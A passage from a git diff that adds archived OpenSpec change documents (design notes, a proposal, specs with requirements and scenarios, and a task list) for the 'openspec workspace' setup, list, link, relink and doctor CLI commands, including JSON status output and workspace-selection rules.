"workspace_root_missing", + "message": "Workspace location does not exist.", + "fix": "Remove or repair the local registry entry." + } + ] + } + ], + "status": [] +} +``` + +### `workspace link [name] ` + +Record an existing repo or folder path for the selected workspace. + +Supported forms: + +```bash +openspec workspace link /path/to/api +openspec workspace link api-service /path/to/api +``` + +The one-argument form infers the link name from the folder basename. The two-argument form lets the user choose the link name. + +The path must exist. The command should accept: + +- full repo roots +- monorepo folders such as packages, services, and apps +- repos or folders without repo-local `openspec/` + +If the user passes a relative path, OpenSpec should resolve it against the command's current working directory before writing local state. + +If the path has repo-local OpenSpec state, OpenSpec can report the repo specs path in doctor output. If it does not, OpenSpec should still allow workspace planning. + +`workspace link` only records the link. It must not create, copy, move, initialize, or edit files in the linked repo or folder. + +### `workspace relink ` + +Repair or change the local path for an existing link. + +Relink should use the same path handling as link: require an existing folder, resolve relative inputs to absolute runtime-local paths, and store the verified path. + +This slice should keep relink focused on path repair. It should not include owner or handoff metadata; that language was too process-heavy in the POC and can be revisited later if users need contact or notes fields. + +### `workspace doctor` + +Explain one selected workspace from the user's machine. If the command is run from a workspace folder or subdirectory and `--workspace ` is not provided, doctor should use that current workspace. Otherwise it should follow the normal workspace-selection rules. + +Doctor should inspect: + +- workspace location +- workspace planning path +- linked repos and folders +- whether each local path exists +- repo-local specs path when present +- missing local paths +- local names that are not in shared workspace state +- shared link names that are missing local paths +- suggested fixes for each issue + +Doctor should not scan every known workspace in the local registry by default. Broad registry visibility belongs to `workspace list`. A future `workspace doctor --all` can be considered later if users need global workspace diagnostics. + +Doctor should report issues and suggested fixes. It should not repair anything automatically. + +Registry cleanup remains out of scope. If doctor cannot inspect the selected workspace because the registry points at a missing or invalid workspace location, it should report that selected-workspace issue through status entries and stop before inspecting links. Other stale registry entries should be surfaced by `workspace list`, not by selected-workspace doctor. + +Human output should be readable by default: a short workspace summary, linked repo or folder rows, and a clear issues section when anything needs attention. It should not be raw JSON or a rigid YAML dump. + +JSON output should follow the object/status pattern: primary data lives in typed objects, and diagnostics live in `status` arrays. A healthy object has `status: []`. Status entries should include `severity`, `code`, `message`, and optional `target` and `fix` fields. + +```json +{ + "workspace": { + "name": "platform", + "root": "/.../openspec/workspaces/platform", + "planning_path": "/.../openspec/workspaces/platform/changes", + "links": [ + { + "name": "api", + "path": "/repos/api", + "repo_specs_path": "/repos/api/openspec/specs", + "status": [] + }, + { + "name": "web", + "path": "/old/path/web", + "repo_specs_path": null, + "status": [ + { + "severity": "error", + "code": "linked_path_missing", + "message": "Linked path does not exist.", + "target": "links.web.path", + "fix": "openspec workspace relink web /path/to/web" + } + ] + } + ], + "status": [] + }, + "status": [] +} +``` + +## Workspace Selection + +Workspace commands should work from anywhere. + +Commands that do not need one workspace: + +- `workspace setup` +- `workspace list` +- `workspace ls` + +Commands that need one workspace: + +- `workspace link` +- `workspace relink` +- `workspace doctor` + +If the current command needs one workspace and `--workspace ` is not provided: + +- use the current workspace when running from inside a workspace +- otherwise show an interactive picker when multiple known workspaces exist +- otherwise select the only known workspace +- otherwise explain that no workspaces exist and suggest `openspec workspace setup` + +The current workspace wins even if it is not in the local workspace registry. This supports manually created or shared workspace folders. In that case commands should continue and include a non-fatal warning status: + +```json +{ + "severity": "warning", + "code": "workspace_not_in_local_registry", + "message": "This workspace is not recorded in the local workspace registry.", + "target": "workspace.root", + "fix": "Run a mutating workspace command from this workspace, such as workspace link or workspace relink, to record it locally." +} +``` + +For human output, this should be a short warning rather than a blocking error. Successful mutating commands that use an unregistered current workspace, such as `workspace link` or `workspace relink`, should record the workspace name and location in the local registry after the mutation succeeds. Non-mutating commands such as `workspace doctor` should not write registry state; they should only report the warning. This slice should not add a standalone `workspace register` or `workspace join` command. + +In non-interactive mode, commands that need one workspace should fail when selection is ambiguous and suggest `--workspace `. + +`--json` should also suppress prompting for commands that need one workspace. If a command would otherwise show a picker, JSON mode should fail with a structured status error and suggest `--workspace `. + +## Machine-Local Files + +Workspace creation should make machine-local state safe by default. + +The workspace should ignore: + +```text +/.openspec-workspace/local.yaml +``` + +The local workspace registry should also be machine-local: + +```text +/workspaces/registry.yaml +``` + +Generated agent launch surfaces can be ignored by `workspace-open-agent-context` when that slice creates them. + +## JSON Output + +Interactive setup does not need JSON output as its primary contract. Non-interactive setup and direct commands should support JSON output for scripting: + +- `workspace setup --no-interactive --json` +- `workspace list --json` +- `workspace link --json` +- `workspace relink --json` +- `workspace doctor --json` + +`workspace setup --json` should require `--no-interactive`. If a user runs `workspace setup --json` without `--no-interactive`, setup should fail clearly because an interactive wizard cannot produce clean JSON. Direct commands such as `workspace list --json`, `workspace link --json`, `workspace relink --json`, and `workspace doctor --json` do not require `--no-interactive`, but JSON mode should disable prompts and fail on ambiguous workspace selection. + +JSON output should use object/status structure across commands: + +- primary entities such as `workspace`, `workspaces`, or `link` carry the durable data +- `status` arrays carry warnings, errors, and suggested fixes +- status entries use stable `code` values plus human-readable `message` text +- command-level `status` describes the whole response +- object-level `status` describes that specific workspace or link + +## POC Adjustments + +Keep: + +- guided setup as the default first run +- direct list/link/check commands +- shared state separate from local paths +- clean non-interactive failure when required setup inputs are missing +- JSON output for non-interactive/direct commands + +Change: + +- do not expose public `workspace create` in the first release +- do not require repo-local OpenSpec state to link a repo or folder +- use `workspace link` instead of `workspace add-repo` +- use `workspace relink` instead of `workspace update-repo` +- do not save a preferred agent during setup +- do not offer to open the workspace from setup +- require setup to link at least one existing repo or folder +- keep relink behavior focused on path repair rather than owner or handoff metadata +- do not use "working set", "code area", "entry", "alias", or "local overlay" in human-facing output diff --git a/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/proposal.md b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/proposal.md new file mode 100644 index 0000000000..79102b9437 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/proposal.md @@ -0,0 +1,128 @@ +## Why + +Note: the change id keeps the older "register repos" wording for continuity. User-facing product language in this slice is `workspace setup`, `workspace link`, `workspace relink`, and "linked repos or folders." + +Users start workspace work by creating a planning home and linking the repos or folders OpenSpec should know about. + +They should not have to create a change before OpenSpec can see the relevant repos, monorepo folders, packages, services, or apps. + +The product rule is: + +```text +Workspace visibility is not change commitment. +``` + +A workspace is the durable planning home. A change is a feature, fix, project, or other planned piece of work inside that workspace. + +## What Changes + +Add the first user-facing workspace setup flow: + +```text +Set up a workspace. +Link existing repos or folders. +List known workspaces and what they link to. +Check what OpenSpec can resolve and how to fix problems. +``` + +Expected user surface: + +```bash +openspec workspace setup +openspec workspace setup --no-interactive --name platform --link /path/to/api --link web=/path/to/web +openspec workspace list +openspec workspace ls +openspec workspace link /path/to/api +openspec workspace link api-service /path/to/api +openspec workspace relink api /new/path/to/api +openspec workspace doctor +``` + +`workspace setup` is the creation path for users. It should ask for the workspace name first, create the workspace in the standard location, require at least one existing repo or folder path, infer link names from folder names, show the workspace location, and run a check at the end so the user knows what OpenSpec can see. + +Workspace names should be kebab-case so they are clean managed-folder names and stable registry identifiers. Link names should keep the folder-style validation from `workspace-foundation` because they are often inferred directly from existing repo or folder basenames. + +`workspace setup --no-interactive` is the automation path. It should require enough flags to create a useful workspace, including a workspace name and at least one link. + +`workspace list` shows known OpenSpec-managed workspaces from the local workspace registry, including each workspace location and linked repos or folders. + +`workspace link` records an existing local repo or folder path for the selected workspace. It should support a simple form that infers the link name from the folder name and an explicit-name form for conflicts or clarity. Linking does not create, copy, move, initialize, or edit files in the linked repo or folder. + +Linking should behave like selecting a folder from a picker: OpenSpec verifies the folder exists, resolves relative inputs to an absolute path in the current runtime, and stores that verified path instead of the raw input string. + +When a link name is already in use, OpenSpec should preserve the existing link and show the conflicting name with the existing path. The error should suggest choosing a different link name, or using `workspace relink ` if the user intended to change the existing link's path. + +`workspace relink` lets users repair or change the local path for an existing link without recreating the workspace. It should not introduce owner or handoff metadata in this slice. + +`workspace doctor` explains what the current machine can resolve for one selected workspace: the workspace location, the workspace planning path, linked repos or folders, missing paths, repo-local specs paths when present, and suggested fixes. It should infer the current workspace when run from inside a workspace. It reports issues but does not repair them automatically. + +Workspace commands should work globally. When a command needs one workspace and the user did not specify it, OpenSpec should use the local registry to show an interactive picker. In non-interactive mode, it should fail with a clear message and suggest `--workspace `. + +When a command runs from inside a valid workspace that is not in the local registry, OpenSpec should still use that current workspace. It should surface a non-fatal warning status that the workspace is not known locally, and successful mutating commands such as `workspace link` or `workspace relink` should record that workspace in the local registry after they update workspace state. + +Machine-readable output should separate workspace or link objects from status entries. Status should be an array of structured issues instead of scattering fields such as `root_status`, `issue`, or `fix` through the primary object shape. + +Interactive behavior should be disabled whenever output must be script-safe. `--no-interactive` means no prompts, and `--json` should fail instead of prompting when selection or setup inputs are ambiguous. `workspace setup --json` should require `--no-interactive` so JSON setup always uses the explicit automation path. + +Planning dependency: + +- Depends on `workspace-foundation`. + +## POC Findings + +Behavior to preserve: + +- `workspace setup` was the friendly onboarding path. +- `workspace list` made managed workspaces discoverable. +- A direct automation path is still useful, but it should live under `workspace setup --no-interactive`. +- Link repair is useful, but owner or handoff metadata should not carry forward in this slice. +- `workspace doctor` was the right place to answer "what does OpenSpec know about this workspace?" +- Shared workspace state and local paths were stored separately. +- Setup failed cleanly when non-interactive inputs were incomplete. +- Created workspaces excluded machine-local path state from portable workspace state. + +Behavior to change: + +- The POC required linked repo paths to already contain repo-local `openspec/`. This should become an implementation-readiness signal, not a planning prerequisite. +- The POC used repo-only language. This slice should use "repos or folders" for user-facing text. +- The public command should be `workspace link`, not `workspace add-repo`. +- The repair command should be `workspace relink`, not `workspace update-repo`. +- Public `workspace create` should be removed for the first release. Setup should be the creation flow. +- The POC's `setup` flow stored preferred agent and open behavior. Agent launch preferences belong to `workspace-open-agent-context`, not this slice. +- Human output should avoid implementation terms such as working set, code area, entry, alias, or local overlay. +- `setup` should require at least one linked repo or folder so the created workspace is immediately useful. + +## Non-Goals + +- No public `openspec workspace create` command in this first release. +- No agent launch or workspace open behavior. +- No preferred agent prompts or saved agent preference. +- No owner or handoff metadata fields. +- No workspace change creation or target selection. +- No apply, verify, archive, branch, or worktree behavior. +- No requirement that linked repos or folders have repo-local OpenSpec state. +- No automatic repair behavior in `workspace doctor`. +- No registry cleanup command such as `workspace forget`; stale registry entries are report-only in this slice. +- No standalone `workspace register` or `workspace join` command; unregistered current workspaces are usable, and mutating workspace commands can record them locally. + +## Capabilities + +### New Capabilities + +- `workspace-links`: Lets users set up a workspace, link repos or folders, list known workspaces, and check workspace resolution before change creation. + +### Modified Capabilities + +- `cli-artifact-workflow`: Introduces workspace setup commands that happen before change creation. +- `workspace-foundation`: Tightens workspace names to kebab-case while keeping folder-style link names. + +## Impact + +- `openspec workspace setup` +- `openspec workspace list` +- `openspec workspace ls` +- `openspec workspace link` +- `openspec workspace relink` +- `openspec workspace doctor` +- Local workspace registry usage from `workspace-foundation`. +- Docs and generated guidance that explain linked repos or folders as planning context, not implementation commitment. diff --git a/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/cli-artifact-workflow/spec.md b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/cli-artifact-workflow/spec.md new file mode 100644 index 0000000000..c2555ca00c --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/cli-artifact-workflow/spec.md @@ -0,0 +1,24 @@ +## ADDED Requirements + +### Requirement: Workspace Setup Commands +The CLI artifact workflow SHALL expose workspace setup commands before change creation. + +#### Scenario: Preparing workspace planning before a change +- **WHEN** a user needs to prepare workspace planning across repos or folders +- **THEN** the CLI SHALL provide commands to set up, list, link, relink, and doctor workspaces +- **AND** those commands SHALL not require an active workspace change + +#### Scenario: Listing workspaces with a short command +- **WHEN** a user wants a concise workspace list command +- **THEN** the CLI SHALL support `openspec workspace ls` +- **AND** it SHALL behave the same as `openspec workspace list` + +#### Scenario: Keeping setup separate from agent launch +- **WHEN** a user completes workspace setup +- **THEN** the setup workflow SHALL leave agent launch and workspace open behavior to a later workflow +- **AND** setup SHALL not require a preferred agent choice + +#### Scenario: Avoiding public direct creation +- **WHEN** users create a workspace in the first workspace setup flow +- **THEN** the CLI SHALL use `openspec workspace setup` +- **AND** it SHALL not expose `openspec workspace create` as the public creation path diff --git a/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/workspace-foundation/spec.md b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/workspace-foundation/spec.md new file mode 100644 index 0000000000..e93d993b82 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/workspace-foundation/spec.md @@ -0,0 +1,35 @@ +## MODIFIED Requirements + +### Requirement: Stable Workspace Name +OpenSpec SHALL use one kebab-case workspace name across workspace identity, managed storage, and the local registry. + +#### Scenario: Using one workspace name +- **WHEN** OpenSpec creates or records a managed workspace +- **THEN** the workspace name SHALL be stored in `.openspec-workspace/workspace.yaml` +- **AND** the same name SHALL be used as the default managed workspace folder name +- **AND** the same name SHALL be used as the local registry name + +#### Scenario: Rejecting invalid workspace names +- **WHEN** OpenSpec accepts a workspace name +- **THEN** it SHALL require kebab-case names using lowercase letters, numbers, and single hyphen separators +- **AND** it SHALL reject empty names, dot names, names with leading or trailing hyphens, names with repeated hyphens, uppercase letters, spaces, underscores, dots, and path separators +- **AND** setup flows SHALL report OS-level folder creation failures clearly + +### Requirement: Stable Link Names +OpenSpec SHALL use stable folder-style link names to refer to repos and folders in workspace planning. + +#### Scenario: Referring to a repo or folder in workspace planning +- **WHEN** workspace state or later workspace planning artifacts refer to a linked repo or folder +- **THEN** they SHALL use the stable link name +- **AND** the same link name SHALL remain valid even when local checkout paths differ + +#### Scenario: Reusing link names across machines +- **WHEN** a workspace is used on another machine +- **THEN** link names SHALL remain stable +- **AND** local checkout paths MAY differ on that machine + +#### Scenario: Rejecting invalid link names +- **WHEN** OpenSpec accepts a workspace link name +- **THEN** it SHALL reject empty names, `.` or `..`, and names containing path separators +- **AND** link names SHALL be unique within the workspace +- **AND** link names SHALL not be required to use workspace-name kebab-case diff --git a/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/workspace-links/spec.md b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/workspace-links/spec.md new file mode 100644 index 0000000000..83e6d608cd --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/specs/workspace-links/spec.md @@ -0,0 +1,356 @@ +## ADDED Requirements + +### Requirement: Guided Workspace Setup +OpenSpec SHALL provide a guided setup flow for users starting workspace planning. + +#### Scenario: Creating a workspace through setup +- **WHEN** a user runs `openspec workspace setup` +- **THEN** OpenSpec SHALL guide the user through creating an OpenSpec workspace +- **AND** the workspace SHALL use the standard workspace location from the workspace foundation + +#### Scenario: Asking for the workspace name first +- **WHEN** interactive setup starts +- **THEN** OpenSpec SHALL ask for the workspace name before asking for repos or folders +- **AND** workspace names SHALL use kebab-case with lowercase letters, numbers, and hyphens + +#### Scenario: Retrying an invalid workspace name during setup +- **WHEN** an interactive user enters an invalid workspace name +- **THEN** OpenSpec SHALL explain that workspace names must be kebab-case +- **AND** it SHALL let the user enter another workspace name before continuing setup + +#### Scenario: Linking a required first repo or folder +- **WHEN** setup asks for repos or folders +- **THEN** the user SHALL provide at least one existing repo or folder path +- **AND** setup SHALL not finish successfully until at least one path is linked + +#### Scenario: Inferring link names during setup +- **WHEN** the user provides a repo or folder path during setup +- **THEN** OpenSpec SHALL infer the link name from the folder basename +- **AND** it SHALL ask for a different name only when the inferred name conflicts + +#### Scenario: Handling inferred link name conflicts during setup +- **GIVEN** setup infers a link name that already exists in the workspace +- **WHEN** setup is interactive +- **THEN** OpenSpec SHALL show the conflicting link name and the existing path for that link +- **AND** it SHALL ask the user for a different link name before continuing + +#### Scenario: Preserving folder-style link names +- **WHEN** OpenSpec accepts a workspace link name +- **THEN** it SHALL allow folder-style names that are valid under the workspace foundation link-name rules +- **AND** it SHALL not require link names to use the stricter workspace-name kebab-case rule + +#### Scenario: Adding multiple repos or folders during setup +- **WHEN** setup links a repo or folder +- **THEN** OpenSpec SHALL let the user add another repo or folder with a simple repeated prompt +- **AND** each linked path SHALL be recorded without editing the target repo or folder + +#### Scenario: Storing verified absolute paths during setup +- **WHEN** setup links a repo or folder path +- **THEN** OpenSpec SHALL verify that the path resolves to an existing folder +- **AND** it SHALL store an absolute runtime-local path in machine-local state instead of the raw user input +- **AND** relative inputs SHALL be resolved against the command's current working directory + +#### Scenario: Preserving equals signs in setup link paths +- **WHEN** non-interactive setup receives a `--link` value that resolves to an existing folder and contains `=` +- **THEN** OpenSpec SHALL treat the full value as the path +- **AND** it SHALL infer the link name from the folder basename +- **AND** explicit `--link =` inputs SHALL preserve `=` characters inside `` + +#### Scenario: Running setup with non-interactive inputs +- **WHEN** `openspec workspace setup --no-interactive` receives a workspace name and at least one valid link +- **THEN** OpenSpec SHALL create the workspace without prompts +- **AND** it SHALL support repeated `--link` values + +#### Scenario: Non-interactive setup duplicate link names +- **WHEN** `openspec workspace setup --no-interactive` receives two links with the same inferred or explicit name +- **THEN** OpenSpec SHALL fail with a clear duplicate link-name error +- **AND** the error SHALL show the conflicting link name and the first path using that name +- **AND** it SHALL suggest using explicit `--link =` values with different names + +#### Scenario: Missing non-interactive setup inputs +- **WHEN** `openspec workspace setup --no-interactive` is missing a workspace name or link +- **THEN** OpenSpec SHALL fail with a clear message +- **AND** it SHALL explain which flags are required + +#### Scenario: Finishing setup +- **WHEN** setup finishes +- **THEN** OpenSpec SHALL show the workspace location, planning path, and linked repos or folders +- **AND** it SHALL check what the current machine can resolve + +#### Scenario: Recording created workspaces locally +- **WHEN** setup creates a workspace +- **THEN** OpenSpec SHALL record it in the local workspace registry +- **AND** the workspace folder SHALL remain the source of truth for workspace state + +#### Scenario: Reusing an existing workspace name during setup +- **GIVEN** a managed workspace already exists with the requested name +- **WHEN** a user runs setup with that workspace name +- **THEN** OpenSpec SHALL explain that the workspace already exists +- **AND** it SHALL not overwrite the existing workspace + +### Requirement: Workspace Discovery +OpenSpec SHALL let users see the OpenSpec-managed workspaces available on the current machine. + +#### Scenario: Listing workspaces +- **WHEN** a user runs `openspec workspace list` +- **THEN** OpenSpec SHALL list known managed workspaces +- **AND** each workspace SHALL include the workspace name, workspace location, and linked repos or folders + +#### Scenario: Using the short list command +- **WHEN** a user runs `openspec workspace ls` +- **THEN** OpenSpec SHALL behave the same as `openspec workspace list` + +#### Scenario: Listing when no workspaces exist +- **WHEN** a user runs `openspec workspace list` +- **AND** no managed workspaces exist +- **THEN** OpenSpec SHALL say that no workspaces were found +- **AND** it SHALL show the user how to create one + +#### Scenario: Listing stale registry entries +- **WHEN** the local registry contains a workspace location that no longer exists +- **THEN** `workspace list` SHALL report the stale workspace entry +- **AND** it SHALL avoid silently deleting registry state +- **AND** it SHALL avoid rewriting or repairing registry state automatically + +#### Scenario: Avoiding registry cleanup commands +- **WHEN** users inspect stale workspace registry entries in this slice +- **THEN** OpenSpec SHALL treat stale entries as report-only diagnostics +- **AND** it SHALL not expose a registry cleanup command such as `workspace forget` + +### Requirement: Global Workspace Commands +OpenSpec SHALL let workspace commands run from outside workspace directories. + +#### Scenario: Selecting a workspace by flag +- **WHEN** a command that needs one workspace receives `--workspace ` +- **THEN** OpenSpec SHALL use that workspace from the local registry +- **AND** it SHALL fail clearly if the workspace name is unknown + +#### Scenario: Using the current workspace +- **GIVEN** the command runs from a workspace folder or subdirectory +- **WHEN** the command needs one workspace and no `--workspace` flag is provided +- **THEN** OpenSpec SHALL use the current workspace + +#### Scenario: Using an unregistered current workspace +- **GIVEN** the command runs from a valid workspace folder or subdirectory +- **AND** that workspace is not recorded in the local workspace registry +- **WHEN** the command needs one workspace and no `--workspace ` flag is provided +- **THEN** OpenSpec SHALL use the current workspace +- **AND** it SHALL include a non-fatal warning status with code `workspace_not_in_local_registry` +- **AND** the warning SHALL explain how the user can get the workspace recorded locally + +#### Scenario: Recording an unregistered current workspace after mutation +- **GIVEN** a mutating workspace command uses a valid current workspace that is not recorded in the local workspace registry +- **WHEN** `workspace link` or `workspace relink` succeeds +- **THEN** OpenSpec SHALL record the workspace name and location in the local workspace registry + +#### Scenario: Doctor does not register current workspaces +- **GIVEN** `workspace doctor` uses a valid current workspace that is not recorded in the local workspace registry +- **WHEN** doctor finishes +- **THEN** OpenSpec SHALL report the non-fatal registry warning +- **AND** it SHALL not write registry state + +#### Scenario: Picking from multiple workspaces +- **GIVEN** multiple known workspaces exist +- **WHEN** an interactive command needs one workspace and none is specified +- **THEN** OpenSpec SHALL show a workspace picker +- **AND** the picker SHALL include workspace names and paths + +#### Scenario: Ambiguous non-interactive workspace selection +- **GIVEN** multiple known workspaces exist +- **WHEN** a non-interactive command needs one workspace and none is specified +- **THEN** OpenSpec SHALL fail with a clear message +- **AND** it SHALL suggest passing `--workspace ` + +#### Scenario: Ambiguous JSON workspace selection +- **GIVEN** multiple known workspaces exist +- **WHEN** a command running with `--json` needs one workspace and none is specified +- **THEN** OpenSpec SHALL fail without showing a picker +- **AND** it SHALL emit a structured status error +- **AND** it SHALL suggest passing `--workspace ` + +#### Scenario: No known workspaces for a command that needs one +- **GIVEN** no known workspaces exist in the local registry +- **AND** the command is not running from a workspace folder or subdirectory +- **WHEN** `workspace link`, `workspace relink`, `workspace doctor`, or another command that needs one workspace runs without `--workspace ` +- **THEN** OpenSpec SHALL fail without showing a picker regardless of interactive mode +- **AND** it SHALL print `No known OpenSpec workspaces. Run 'openspec workspace setup' first.` +- **AND** it SHALL explain that `--workspace ` can be used after at least one workspace is known locally + +### Requirement: Workspace Links +OpenSpec SHALL let users link existing repos or folders to a workspace before creating a change. + +#### Scenario: Linking with an inferred name +- **WHEN** a user runs `openspec workspace link ` +- **THEN** OpenSpec SHALL infer the link name from the folder basename +- **AND** it SHALL store the verified absolute local path as machine-local state + +#### Scenario: Linking with an explicit name +- **WHEN** a user runs `openspec workspace link ` +- **THEN** OpenSpec SHALL use the explicit link name for planning +- **AND** it SHALL store the verified absolute local path as machine-local state + +#### Scenario: Requiring an existing path +- **WHEN** a user links a repo or folder path +- **THEN** the path SHALL exist on the current machine +- **AND** OpenSpec SHALL reject missing paths with a clear message + +#### Scenario: Resolving linked paths before storage +- **WHEN** a user links a repo or folder path +- **THEN** OpenSpec SHALL store the verified absolute path for the current runtime +- **AND** relative inputs SHALL be resolved against the command's current working directory +- **AND** OpenSpec SHALL not translate paths between native Windows, WSL2, and Unix runtimes + +#### Scenario: Linking a monorepo folder +- **WHEN** a user links a package, service, app, or directory inside a monorepo +- **THEN** OpenSpec SHALL store it as a workspace link +- **AND** it SHALL not require that folder to have its own repo-local `openspec/` directory + +#### Scenario: Linking without repo-local OpenSpec +- **WHEN** a user links a path that does not contain repo-local OpenSpec state +- **THEN** OpenSpec SHALL keep that repo or folder available for workspace planning +- **AND** it SHALL not treat missing repo-local OpenSpec state as a link failure + +#### Scenario: Link records only +- **WHEN** a user links a repo or folder +- **THEN** OpenSpec SHALL record workspace state and local path state +- **AND** it SHALL not create, copy, move, initialize, or edit files in the linked repo or folder + +#### Scenario: Blocking link when local state is invalid +- **GIVEN** the workspace machine-local state file exists but cannot be parsed or validated +- **WHEN** a user runs `openspec workspace link` +- **THEN** OpenSpec SHALL fail with status code `workspace_local_state_invalid` +- **AND** it SHALL not rewrite shared workspace state or machine-local path state + +#### Scenario: Reusing a link name +- **GIVEN** a workspace already has a link with a given name +- **WHEN** a user tries to link another path with the same name +- **THEN** OpenSpec SHALL explain that the link name is already in use by another link +- **AND** it SHALL show the existing link name and existing path +- **AND** it SHALL suggest choosing a different link name +- **AND** it SHALL suggest `workspace relink ` when the user intended to change the existing link path +- **AND** it SHALL preserve the existing link unless the user explicitly relinks it + +### Requirement: Workspace Relinks +OpenSpec SHALL let users update existing link paths without recreating the workspace. + +#### Scenario: Updating a local path +- **GIVEN** a workspace has a link +- **WHEN** a user runs `openspec workspace relink ` +- **THEN** OpenSpec SHALL keep the stable link name +- **AND** it SHALL update the machine-local path for the current machine to the verified absolute path + +#### Scenario: Requiring an existing relink path +- **WHEN** a user relinks to a new path +- **THEN** the new path SHALL exist on the current machine +- **AND** OpenSpec SHALL reject missing paths with a clear message + +#### Scenario: Resolving relink paths before storage +- **WHEN** a user relinks to a new path +- **THEN** OpenSpec SHALL store the verified absolute path for the current runtime +- **AND** relative inputs SHALL be resolved against the command's current working directory + +#### Scenario: Blocking relink when local state is invalid +- **GIVEN** the workspace machine-local state file exists but cannot be parsed or validated +- **WHEN** a user runs `openspec workspace relink` +- **THEN** OpenSpec SHALL fail with status code `workspace_local_state_invalid` +- **AND** it SHALL not rewrite machine-local path state + +#### Scenario: Updating an unknown link +- **WHEN** a user tries to relink a link that does not exist +- **THEN** OpenSpec SHALL explain that the link name is unknown +- **AND** it SHALL preserve existing workspace state + +#### Scenario: Avoiding owner and handoff fields +- **WHEN** users link or relink repos or folders in this slice +- **THEN** OpenSpec SHALL not ask for owner or handoff metadata +- **AND** link maintenance SHALL focus on names and local paths + +### Requirement: Workspace Health Check +OpenSpec SHALL explain what the current machine can resolve for a workspace. + +#### Scenario: Doctor checks one selected workspace +- **WHEN** a user runs `openspec workspace doctor` +- **THEN** OpenSpec SHALL inspect one selected workspace +- **AND** it SHALL not scan every known workspace in the local registry by default + +#### Scenario: Doctor infers the current workspace +- **GIVEN** the command runs from a workspace folder or subdirectory +- **WHEN** the user runs `openspec workspace doctor` without `--workspace ` +- **THEN** OpenSpec SHALL inspect the current workspace + +#### Scenario: Checking a healthy workspace +- **WHEN** a user runs `openspec workspace doctor` +- **THEN** OpenSpec SHALL show the workspace location and workspace planning path +- **AND** it SHALL show linked repos or folders and which paths resolve on the current machine + +#### Scenario: Selected workspace location is missing +- **GIVEN** the selected workspace comes from the local registry +- **AND** the registered workspace location is missing or invalid +- **WHEN** a user runs `openspec workspace doctor` +- **THEN** OpenSpec SHALL report a selected-workspace status error +- **AND** it SHALL not attempt to inspect links for that workspace + +#### Scenario: Reporting repo-local specs paths +- **WHEN** a linked repo or folder resolves +- **THEN** doctor SHALL report `repo_specs_path` when repo-local `openspec/specs` exists +- **AND** it SHALL report `repo_specs_path: null` when repo-local specs are not present + +#### Scenario: Checking missing paths +- **WHEN** a link points to a path that is missing on the current machine +- **THEN** doctor SHALL identify the affected link name +- **AND** it SHALL include a suggested `workspace relink` fix + +#### Scenario: Checking shared and local state drift +- **WHEN** shared workspace state and machine-local path state do not agree +- **THEN** doctor SHALL explain which link names are affected +- **AND** it SHALL distinguish shared workspace links from local-only paths + +#### Scenario: Reporting invalid local state +- **WHEN** list or doctor reads a workspace whose machine-local state file cannot be parsed or validated +- **THEN** OpenSpec SHALL report status code `workspace_local_state_invalid` +- **AND** it SHALL avoid treating the invalid local state as an empty path map for mutation or repair suggestions +- **AND** it SHALL not rewrite workspace registry state or machine-local path state + +#### Scenario: Reporting without auto-repair +- **WHEN** doctor finds issues +- **THEN** it SHALL report all issues it can find +- **AND** it SHALL not automatically repair workspace state + +#### Scenario: Using readable human output +- **WHEN** doctor prints human output +- **THEN** it SHALL show a readable workspace summary, linked repos or folders, and issues when present +- **AND** it SHALL avoid printing raw JSON or relying on a rigid YAML dump as the default human experience + +### Requirement: Scriptable Workspace Setup Commands +OpenSpec SHALL provide JSON output for direct workspace setup commands. + +#### Scenario: Requesting JSON output +- **WHEN** a user passes `--json` to direct workspace setup commands +- **THEN** OpenSpec SHALL print machine-readable output +- **AND** the output SHALL avoid extra human-readable text +- **AND** the output SHALL separate primary objects from structured `status` entries + +#### Scenario: Setup JSON requires non-interactive setup +- **WHEN** a user runs `openspec workspace setup --json` without `--no-interactive` +- **THEN** OpenSpec SHALL fail clearly +- **AND** it SHALL explain that `workspace setup --json` requires `--no-interactive` + +#### Scenario: JSON output disables prompts +- **WHEN** a direct workspace setup command runs with `--json` +- **THEN** OpenSpec SHALL avoid interactive prompts +- **AND** it SHALL fail with structured status output when required choices are ambiguous + +#### Scenario: JSON status entry shape +- **WHEN** a direct workspace setup command reports warnings, errors, or suggested fixes in JSON output +- **THEN** each status entry SHALL include a stable `code`, a `severity`, and a human-readable `message` +- **AND** status entries MAY include `target` and `fix` fields when a specific object field or suggested command is useful + +#### Scenario: JSON object status shape +- **WHEN** a direct workspace setup command emits JSON for workspace, link, or list objects +- **THEN** each object MAY include a `status` array for object-specific warnings or errors +- **AND** the top-level response SHALL include a `status` array for command-level warnings or errors +- **AND** healthy objects and healthy responses SHALL use an empty `status` array + +#### Scenario: Commands with JSON output +- **WHEN** users run `workspace setup --no-interactive`, `workspace list`, `workspace link`, `workspace relink`, or `workspace doctor` +- **THEN** each command SHALL support JSON output diff --git a/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/tasks.md b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/tasks.md new file mode 100644 index 0000000000..12372706eb --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/tasks.md @@ -0,0 +1,121 @@ +## 1. POC Findings And Scope + +- [x] 1.1 Confirm `setup`, `list`, and `doctor` belong to this slice +- [x] 1.2 Capture that setup should not own preferred agent or workspace open behavior +- [x] 1.3 Capture that linked repos or folders and monorepo paths are allowed without repo-local OpenSpec state +- [x] 1.4 Capture decisions for JSON output, `ls`, `.gitignore`, non-interactive setup, required first link, and relink behavior +- [x] 1.5 Capture that public `workspace create` is out of scope for the first release +- [x] 1.6 Capture `link`/`relink` as the user-facing commands + +## 2. Workspace Setup + +- [x] 2.1 Implement `openspec workspace setup` as the only public creation path +- [x] 2.2 Prompt for workspace name first in interactive setup +- [x] 2.3 Validate workspace names as kebab-case and let interactive users retry invalid names +- [x] 2.4 Require at least one existing repo or folder path 